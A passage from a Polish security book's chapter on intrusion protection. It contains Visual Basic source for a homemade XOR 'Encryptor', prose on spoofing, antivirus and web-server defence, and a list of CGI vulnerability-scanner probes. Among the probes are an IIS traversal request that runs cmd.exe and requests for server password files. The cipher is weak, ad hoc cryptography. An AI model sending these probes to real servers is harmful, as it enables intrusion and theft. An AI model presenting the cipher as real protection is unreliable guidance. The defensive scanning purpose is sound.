liwe jest kontrolowanie wykorzystywanych technik szyfrowania w celu prostego
zabezpieczenia danych. Kod źródłowy nie jest skomplikowany, dzięki czemu jego mody-
fikacja do prywatnego użytku nie powinna być trudna. Aby zapisać dane do szyfrowania,
użyj listy katalogów po prawej stronie w celu dotarcia do ścieżki, w której chcesz umie-
ś
cić zaszyfrowany plik. W tym momencie wprowadź klucz szyfrowania i kliknij Zapisz.
Aby załadować zaszyfrowany plik, użyj ponownie listy katalogów po prawej stronie
i wybierz właściwy plik (pamiętaj o wpisaniu właściwego klucza szyfrowania), a następ-
nie kliknij Otwórz. Wynik przykładu pokazanego na rysunku 2.19 będzie wyglądał w po-
niższy sposób:
Îg„K¶f<ô
Ą
m*
…e
ĆĂ
=˘
ę
Y
ı
iâ˘
ź
-
Š2
tł+#
ı
˝.
ń
X
ą
˝µ]
Ő
ä6
Ę
s
Ů
`
ŕŘ
gé±
ě
^ŽÁ
˙N˝A
Ő
Î
ř
U
ś
Tc
ľ
c
==Ó
Rysunek 2.19.
Szyfrowanie danych
w Encryptorze w celu
bezpiecznego
przesłania przez sieć
Encryptor (główny formularz)
Private Sub DelFileBtn_Click()
If Files.Filename = "" Then Exit Sub
If MsgBox("DELETE file?", vbExclamation Or vbYesNo, "Delete file") =
vbYes Then
If MsgBox("All the information will be lost! Continue?",
vbExclamation Or vbYesNo, "Delete file") = vbYes Then
Kill GetFileWithPath
End If
End If
Files.Refresh
End Sub
Private Sub Drives_Change()
FilePath.Path = Drives.Drive
Files.Path = Drives.Drive
206
Hack Wars. Tom 2. Na tropie hakerów
206
End Sub
Private Sub FilePath_Change()
Files.Path = FilePath.Path
End Sub
Private Sub Files_DblClick()
MsgBox GetFileWithPath
End Sub
Private Sub Form_Load()
Drives.Drive = Left(App.Path, 2)
FilePath.Path = App.Path
OpenFilename = ""
Saved = True
ChangeEnable False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
Mexit_Click
End Sub
Private Sub LoadBtn_Click()
Mopen_Click
End Sub
Private Sub Mexit_Click()
If Saved = False Then
If SaveQuestion = 3 Then Exit Sub
End If
End
End Sub
Private Sub MLoadFiles_Click()
MsgBox "Navigate through the directory list from the right side and
select the file you want to load. Be sure to write the appropriate
encryption key and then click load.", vbInformation, "How to load
encrypted files"
End Sub
Private Sub MSaveFiles_Click()
MsgBox " Navigate through the directory list from the right side to
the path you wish to save your encrypted file. Enter in an encryption
key and click save.", vbInformation, "How to save files with
encryption"
End Sub
Private Sub PasswordTxt_Change()
If Len(PasswordTxt) = 0 Then
ChangeEnable False
Else
ChangeEnable True
End If
End Sub
Private Sub SaveBtn_Click()
StartSave
End Sub
Private Sub Mnew_Click()
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
207
207
If Saved = False Then
If SaveQuestion = 3 Then Exit Sub
End If
Textbox = ""
OpenFilename = ""
Saved = True
End Sub
Private Sub Mopen_Click()
If Saved = False Then
If SaveQuestion = 3 Then Exit Sub
End If
If Files.Filename = "" Then MsgBox "Choose Filename", vbExclamation:
Exit Sub
OpenFilename = GetFileWithPath
LoadFile OpenFilename, PasswordTxt
Saved = True
End Sub
Private Sub Msave_Click()
StartSave
End Sub
Private Sub Msaveas_Click()
Dim Temp As String, Temp2 As String
Temp = InputBox("Enter Filename", "Save file")
If Temp = "" Then Exit Sub
Temp = GetPath(Files.Path) & GetTxtFile(Temp)
If (Dir(Temp) <> "") Then
If MsgBox("The file already exists." & vbCrLf & "Replace?",
vbQuestion Or vbYesNo, "File exists!") = vbNo Then Exit Sub
End If
Temp2 = VerifyPass
If Temp2 <> "" Then
OpenFilename = Temp
SaveFile OpenFilename, Temp2
End If
End Sub
Private Sub Textbox_Change()
Saved = False
End Sub
Moduł szyfrujący
Global Saved As Boolean
Global OpenFilename As String
Function GetFileWithPath() As String
If MainFrm.Files.Filename = "" Then
GetFileWithPath = ""
Exit Function
Else
GetFileWithPath = GetPath(MainFrm.Files.Path) &
MainFrm.Files.Filename
End If
End Function
Function GetPath(ByVal PathName As String) As String
If PathName Like "*\" Then
GetPath = PathName
Else
208
Hack Wars. Tom 2. Na tropie hakerów
208
GetPath = PathName & "\"
End If
End Function
Function SpecielNumber1(ByVal Text As String) As Byte
Dim Value, Shift1, Shift2, ch
For i = 1 To Len(Text)
ch = Asc(Mid$(Text, i, 1))
Value = Value Xor Int(Shift1 * 10.4323)
Value = Value Xor Int(Shift2 * 4.23)
Shift1 = (Shift1 + 7) Mod 19
Shift2 = (Shift2 + 13) Mod 23
Next
SpecielNumber1 = Value
End Function
Function SpecielNumber2(ByVal Password As String) As Byte
Dim Value
Value = 194
For i = 1 To Len(Password)
ch = Asc(Mid$(Password, i, 1))
Value = Value Xor ch Xor i
If Value > 100 Then Value = (Value - 50) Xor 255
Next
SpecielNumber2 = Value
End Function
Function SpecielNumber3(ByVal Password As String) As Byte
Value = Len(Password) Mod 37
For i = 1 To Len(Password)
ch = Asc(Mid$(Password, i, 1))
If (Value Mod 2) And (ch > 10) Then ch = ch - 1
Value = (ch * Value * 17.3463) Mod 255
Next
SpecielNumber3 = Value
End Function
Function Fib(ByVal Num As Integer) As Long
Dim Temp As Integer, Temp2 As Integer, Temp3 As Integer
Temp = 1
Temp2 = 1
Temp3 = 1
For i = 3 To Num
Temp3 = Temp2
Temp2 = Temp
Temp = Temp + Temp3
Next
Fib = Temp
End Function
Function Pwd(ByVal Text As String, ByVal KeyTxt As String) As String
Dim KeyLen As Integer
Dim PassAsc As Byte
Dim SaveNum As Integer
Dim AfterETxt As String
Dim RandTxt1 As Integer, RandTxt2 As Integer, RandTxt3 As Integer
Dim Temp As Byte
RandTxt1 = SpecielNumber1(Text)
RandTxt2 = SpecielNumber2(KeyTxt)
RandTxt3 = SpecielNumber3(KeyTxt)
SaveNum = 1
KeyLen = Len(KeyTxt)
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
209
209
AfterETxt = ""
For i = 1 To Len(Text)
Temp = Asc(Mid(Text, i, 1))
PassAsc = Asc(Mid(KeyTxt, ((i - 1) Mod KeyLen) + 1, 1))
If RandTxt2 > RandTxt3 Then Temp = Temp Xor RandTxt1 Xor RandTxt3
If RandTxt1 > RandTxt3 Then Temp = Temp Xor RandTxt2
Temp = Temp Xor (Abs(RandTxt3 - i) Mod 256)
Temp = Temp Xor PassAsc
Temp = Temp Xor (Int(i * 2.423121) Mod 256)
Temp = Temp Xor (Int(Fib(i Mod 17) * 0.334534) Mod 256)
Temp = Temp Xor SaveNum
Temp = Temp Xor (KeyLen Mod SaveNum)
Temp = Temp Xor RandTxt3
Temp = Temp Xor (Len(Text) Mod 71)
Temp = Temp Xor Abs(RandTxt3 - RandTxt1)
Temp = Temp Xor Abs(((RandTxt1 Mod 23) * 10) Mod RandTxt2)
SaveNum = (Int(Fib(i Mod 7) * 0.334534) Mod 256)
SaveNum = SaveNum Xor (PassAsc * 45.92425) Mod 256
If (i >= 2) Then
If PassAsc And 2 Then
Temp = Temp Xor PassAsc
Else
Temp = Temp Xor (Int(PassAsc * 3.2145561) Mod 256)
End If
Else
Temp = Temp Xor ((KeyLen * PassAsc + (i Mod 3)) Mod 256)
End If
AfterETxt = AfterETxt & Chr(Temp)
Next
Pwd = AfterETxt
End Function
Function GetTxtFile(ByVal Filename As String) As String
If Filename Like "*.txt" Then
GetTxtFile = Filename
Else
GetTxtFile = Filename & ".txt"
End If
End Function
Function ChangeEnable(ByVal Status As Boolean)
With MainFrm
.LoadBtn.Enabled = Status
.SaveBtn.Enabled = Status
.Mopen.Enabled = Status
.Msave.Enabled = Status
.Msaveas = Status
End With
End Function
Function SaveQuestion() As Byte
Opt = MsgBox("You didn’t save the last file." & vbCrLf & "Save it?",
vbQuestion Or vbYesNoCancel, "Save")
If Opt = vbYes Then
If StartSave = True Then
SaveQuestion = 1
Else
SaveQuestion = 3
End If
ElseIf Opt = vbNo Then
SaveQuestion = 2
Else
210
Hack Wars. Tom 2. Na tropie hakerów
210
SaveQuestion = 3
End If
End Function
Function StartSave() As Boolean
Dim Temp As String, Temp2 As String
StartSave = True
If OpenFilename = "" Then
Temp = InputBox("Enter Filename", "Save file",
MainFrm.Files.Filename)
If Temp = "" Then StartSave = False: Exit Function ‘tylko nazwa
pliku
Temp = GetPath(MainFrm.Files.Path) & GetTxtFile(Temp) 'ustaw temp
na pełn
ą
ś
cie
ż
k
ę
If (Dir(Temp) <> "") Then 'je
ś
li plik istnieje
If MsgBox("The file already exists." & vbCrLf & "Replace?",
vbQuestion Or
vbYesNo, "File exists!") = vbNo Then StartSave = False:
Exit Function
End If
Temp2 = VerifyPass
If Temp2 = "" Then StartSave = False: Exit Function
OpenFilename = Temp
SaveFile OpenFilename, Temp2
Saved = True
Else
Temp = VerifyPass
If Temp = "" Then StartSave = False: Exit Function
SaveFile OpenFilename, Temp
Saved = True
End If
End Function
Function SaveFile(ByVal Filename As String, ByVal Pass As String)
Open Filename For Output As #1
Print #1, Pwd(MainFrm.Textbox, Pass)
Close #1
Saved = True
MainFrm.Files.Refresh
End Function
Function LoadFile(ByVal Filename As String, ByVal Pass As String)
Dim Dta As String
Dta = Space(FileLen(Filename))
free = FreeFile
Open Filename For Binary Access Read As #free
Get #free, , Dta
Close #free
Dta = Mid(Dta, 1, Len(Dta) - 2)
MainFrm.Textbox = Pwd(Dta, Pass)
Saved = True
End Function
Function VerifyPass() As String
Dim Temp As String
Temp = InputBox("Confirm Encryption Key")
If Temp = "" Then Exit Function
If (Temp = MainFrm.PasswordTxt) Then
VerifyPass = Temp
Else
MsgBox "Keys don’t match!", vbCritical
VerifyPass = ""
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
211
211
End If
End Function
Ochrona przed podszywaniem się
W pierwszym tomie tej książki opisaliśmy, w jaki sposób podszywanie się pod adres
IP jest używane do przejęcia osobowości zaufanego hosta, złamania zabezpieczeń
oraz nawiązania zaufanej komunikacji z systemem docelowym. Po udanym ataku haker
może utworzyć sobie tylne drzwi do systemu w celu ułatwienia dalszego dostępu oraz
uzyskania zdalnej kontroli. Analogicznie, włamanie się do serwera DNS daje napastni-
kowi kontrolę nad procesem rozwiązywania domen, a w niektórych przypadkach tak-
ż
e możliwość przekierowania gości do innego miejsca niż docelowa witryna WWW lub
serwer pocztowy.
Na szczęście w sieci pojawiły się już środki chroniące przed podszywaniem się. Po-
nieważ podstawą podszywania jest identyfikacja adresu źródłowego bez potwierdzo-
nego uwierzytelniania, pomóc może wprowadzenie IPv6 z nagłówkami uwierzytel-
niania. Takie nagłówki zapewniają możliwość obliczenia zaszyfrowanych sum
kontrolnych pola użytkowego datagramów oraz niektórych pól nagłówka. Takie prze-
liczanie natomiast zapewnia dwustopniową ochronę przed podszywaniem, a także
lepsze filtrowanie pakietów, co chroni przed nagłym wzrostem rozpowszechniania.
Tak jak rozwiązanie oparte o IPSec, zasady filtrowania konkretnych pakietów chronią
ruch, który powstaje na zewnątrz VPN, ale nie są wymagane, ponieważ szyfrowane
techniki uwierzytelniania zapewniają takie zabezpieczenie. Mówiąc ogólnie, protokół,
który nie zapewnia uwierzytelniania swoich komunikatów, może być wrażliwy na atak
przy użyciu podszywania. W przypadku NetBIOS-u użytkownicy potrzebujący lep-
szej ochrony przed podszywaniem mogą użyć IPSec w Windows 2000 w celu nawiąza-
nia uwierzytelnionych sesji. W takim przypadku zasady IPSec, które uwierzytelniają
sesje przez porty 137 – 139, mogą zapobiec podszywaniu się pod ten potencjalnie
wrażliwy protokół.
Większość producentów dołącza do peletonu firm udostępniających ochronę przed
podszywaniem. Dla przykładu niektóre produkty Cisco oferują zabezpieczenia przy
użyciu podstawowego interfejsu prywatności (BRI) DOCSIS lub opcje zarządzanego
CPE, takie jak serwery i routery uwierzytelniania, autoryzacji i rozliczeń (AAA).
Mówiąc ogólnie, taki system obsługuje listy kontroli dostępu ACL, tunele, filtrowa-
nie, specjalne zabezpieczenie przed podszywaniem oraz polecenia do konfiguracji fil-
trowania źródłowego adresu IP w podsieciach radiowych, dzięki czemu użytkownicy
nie mogą korzystać z adresów IP, nieważnych dla podsieci, do których są przyłączeni.
Jeśli połączysz opisane powyżej technologie z firewallami dokonującymi inspekcji,
otrzymasz kompletną metodę zabezpieczającą przed podszyciem się hakera. Nie zapo-
mnij o dowiadywaniu się u producenta sprzętu o stosowane przez niego funkcje chro-
niące przed takimi atakami. Wiele aktualizacji oprogramowania automatycznie zawiera
nowsze funkcje, które są ciągle rozwijane w celu ulepszenia frontonów konfiguracyj-
nych (patrz rysunek 2.20).
212
Hack Wars. Tom 2. Na tropie hakerów
212
Rysunek 2.20.
Zaawansowane opcje
firewalla w programie
NetScreen obejmują
ochronę przed atakami
z zastosowaniem
podszycia
Ochrona przed wirusami
Do tej pory udokumentowano już ponad 69000 wirusów, które krążą między kompu-
terami. Nowe wirusy powstają codziennie wskutek mutacji i narodzin nowych od-
mian. Wirusy komputerowe cechują się trzema kolejnymi fazami życia — aktywacją,
replikacją oraz manipulacją.
Aktywacja — moment, w którym pierwszy komputer „łapie” wirusa,
zwykle z zaufanego źródła.
Replikacja — wtedy wirus zaczyna się rozprzestrzeniać w celu
zainfekowania możliwie największej liczby „ofiar” w polu rażenia.
Manipulacja — wirus zaczyna działać; ten moment może być zależny od daty
(na przykład piątek trzynastego lub pierwszy stycznia) lub jakiegoś zdarzenia
(trzeci restart komputera lub zaplanowana procedura obsługi dysku).
Oprogramowanie chroniące przed wirusami reaguje zwykle na wzory wirusów, dlate-
go trudne jest osiągnięcie całkowitego zabezpieczenia. Toteż w czasie poszukiwania
właściwego programu Twoim celem powinny stać się trzy funkcje — aktywne ska-
nowanie, monitorowanie poczty i bieżąca aktualizacja definicji wirusów.
Aktywne skanowanie — dzięki tej funkcji moduły programu antywirusowego
ciągle działają w tle, skanując otwierane pliki. Taki moduł zabezpiecza również
przed próbami nieautoryzowanej modyfikacji plików oraz ostrzega, jeśli zostały
zmienione wielkości plików systemowych. Unikalną funkcją towarzyszącą temu
procesowi jest filtrowanie Internetu. Po pobraniu plików są one skanowane pod
kątem znanych wirusów, a wrogie aplety Javy i obiekty kontrolne ActiveX są
blokowane. Niektóre programy oferują nawet możliwość własnej konfiguracji
w celu zablokowania dostępu do pewnych niepożądanych witryn. Rysunek 2.21
pokazuje konfigurowanie programu firmy McAfee na skanowanie wszystkich
plików.
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
213
213
Rysunek 2.21.
Konfigurowanie
programu McAfee
firmy Network
Associates
na skanowanie
wszystkich plików,
włączając w to
pobrane z Internetu
Monitorowanie poczty — od pewnego czasu jest to niezbędny dodatek do
ochrony antywirusowej. Ta technika nakazuje programowi wyszukiwanie
wirusów w załącznikach otrzymywanych wiadomości elektronicznych.
Program antywirusowy można skonfigurować na usuwanie lub przeniesienie
wszystkich odnalezionych wirusów. Rysunek 2.22 pokazuje sposób
implementacji tej techniki przez program Norton Antivirus.
Rysunek 2.22.
Norton Antivirus
2001 może
monitorować
i chronić przed
wirusami pocztowymi
Bieżąca aktualizacja definicji wirusów — ta technika wykorzystuje proces
automatycznej aktualizacji w celu uzyskania najświeższych sygnatur wirusów,
co jest bardzo ważne ze względu na ciągle rosnącą liczbęwirusów. Sygnatury
wirusów są przechowywane w bazie danych, używanej do ochrony przed
tysiącami wirusów komputerowych. Odpowiednie aktualizacje mogą pojawiać
się raz lub dwa razy dziennie. Co więcej, mechanizmy bieżącej aktualizacji
mogą automatycznie wyszukiwać nowe aktualizacje na witrynie producenta,
pobierać je oraz instalować nową bazę danych. Rysunek 2.23 pokazuje sposób
działania funkcji LiveUpdate w programie Norton Antivirus.
214
Hack Wars. Tom 2. Na tropie hakerów
214
Rysunek 2.23.
Wykorzystanie funkcji
Nortona, LiveUpdate,
w celu zapewnienia
aktualności baz
danych definicji
Ochrona przed włamaniami na strony internetowe
W tej części omówimy włamania na strony internetowe wraz z konkretnymi odmia-
nami w zależności od demona serwera WWW. Techniki zabezpieczające nakazują
utworzenie projektu zgodnie z procedurami SMTP-NAT-DMZ, opisanymi w rozdziale 1.
Umieszczenie serwera za firewallem w strefie zdemilitaryzowanej może zaoszczędzić
wielu godzin poświęconych na odpieranie ataków hakerów. Ta technika jest związana
z implementacją rozbudowanego firewalla, który potencjalnie będzie dokonywał kon-
troli milionów żądań HTTP. Chociaż jest to najwłaściwszy sposób postępowania, to,
jeśli koszt jest czynnikiem decydującym (a tak jest w większości przypadków), naj-
lepszą alternatywą będzie zachowanie rozbudowanych dzienników systemowych
i skonfigurowanie narzędzia do blokowania portów. Takie programy (na przykład Tiger-
Watch, omówiony w poprzednich i kolejnych rozdziałach) działają jako minisystemy
firewalli, zamykając wrażliwe porty i usługi, monitorując jednocześnie próby ataków.
Inne przydatne techniki obejmują wyłączanie funkcji przeglądania katalogu oraz użycie
procedur zaszyfrowanego uwierzytelniania dla zdalnego i lokalnego logowania admi-
nistratora.
Programy CGI również mogą ułatwić włamanie na stronę internetową. Prawdę mó-
wiąc, CGI jest najczęściej atakowane przez hakerów. Na szczęście istnieje wiele dar-
mowych i komercyjnych skanerów badających wrażliwość CGI. Takie programy spraw-
dzają typowe techniki włamania się przez CGI w celu wprowadzenia własnych ulepszeń.
Jako przykład możesz przyjrzeć się, pokazanemu na rysunku 2.24, programowi CGI
Exploit Scanner, który został zaprogramowany przez podziemnego hakera i progra-
mistę no()ne. Program może być dopasowany do własnych technik skanowania CGI;
możliwe jest również ręczne przeprowadzenie testu słabości CGI.
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
215
215
Rysunek 2.24.
CGI Exploit Scanner
może pomóc
w wykryciu
potencjalnej
wrażliwości
kodu CGI
Obecnie istnieje 407 potencjalnych sposobów włamań do CGI; przedstawiono je poniżej.
GET /cgi-bin/unlg1.1 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/unlg1.2 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rwwwshell.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/gH.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/phf HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/phf.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/Count.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/test-cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nph-test-cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nph-publish HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/php.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/php HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/handler HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webgais HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/websendmail HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webdist.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/faxsurvey HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/htmlscript HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/pfdisplay HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/perl.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wwwboard.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wwwboard.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/www-sql HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/view-source HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/campas HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/aglimpse HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/glimpse HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/man.sh HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AT-admin.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/filemail.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/maillist.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/jj HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/info2www HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/files.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/finger HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bnbform.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/survey.cgi HTTP/1.0 & vbCrLf & vbCrLf
216
Hack Wars. Tom 2. Na tropie hakerów
216
GET /cgi-bin/AnyForm2 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/textcounter.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/classifieds.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/environ.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wrap HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgiwrap HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/guestbook.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/guestbook.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/edit.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/perlshop.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webbbs.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/whois_raw.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AnyBoard.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dumpenv.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/login.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /test/test.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_inf.html HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/ HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/users.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/authors.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/admin.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pwd/administrators.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/shtml.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/shtml.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-dos/args.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-win/uploader.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rguest.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wguest.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/issadmin/bdir.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/CGImail.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/tools/getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/fpcount.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/counter.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/visadmin.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/perl.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/../../cmd.exe?%2FC+echo+\'hacked!\'>c:\\hello.bat
HTTP/1.0 & vbCrLf & vbCrLf
GET /users/scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/openfile.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/sendmail.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/examples/parks/detail.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/fileexists.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/examples/mainframeset.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0 & vbCrLf &
vbCrLf
GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /msads/Samples/SELECTOR/showcode.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /search.vts HTTP/1.0 & vbCrLf & vbCrLf
GET /carbo.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /domcfg.nsf/?open HTTP/1.0 & vbCrLf & vbCrLf
GET /?PageServices HTTP/1.0 & vbCrLf & vbCrLf
GET /....../autoexec.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/zero.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/root.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expressions.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expeval/eval.cfm HTTP/1.0 & vbCrLf & vbCrLf
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
217
217
GET /cfdocs/exampleapp/publish/admin/addcontent.cfm HTTP/1.0 & vbCrLf
& vbCrLf
GET /cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini HTTP/1.0 &
vbCrLf & vbCrLf
GET /cfdocs/exampleapp/publish/admin/application.cfm HTTP/1.0 &
vbCrLf & vbCrLf
GET /cfdocs/exampleapp/email/application.cfm HTTP/1.0 & vbCrLf &
vbCrLf
GET /cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0 & vbCrLf &
vbCrLf
GET /cfdocs/examples/parks/detail.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/examples/cvbeans/beaninfo.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/viewexample.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/gettempdirectory.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/fileexists.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/evaluate.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/forums/forums_.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/security/realm_.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/forums/data/forums.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/security/data/realm.mdb HTTP/1.0 & vbCrLf &
vbCrLf
GET /cfusion/database/cfexamples.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/database/cfsnippets.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/database/smpolicy.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/database/cypress.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /DataBase/ HTTP/1.0 & vbCrLf & vbCrLf
GET /database.nsf/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgi-lib.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/minimal.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/redir.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/stats.prg HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/statsconfig HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/visitor.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/htmldocs HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/logs HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_adm HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut HTTP/1.0 & vbCrLf & vbCrLf
GET /srchadm HTTP/1.0 & vbCrLf & vbCrLf
GET /iisadmin HTTP/1.0 & vbCrLf & vbCrLf
GET /html/?PageServices HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/run.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/ctgestb.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/ctgestb.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/details.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/details.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/query.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/query.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/register.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/register.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/sample.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/sample.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/sample2.htx HTTP/1.0 & vbCrLf & vbCrLf
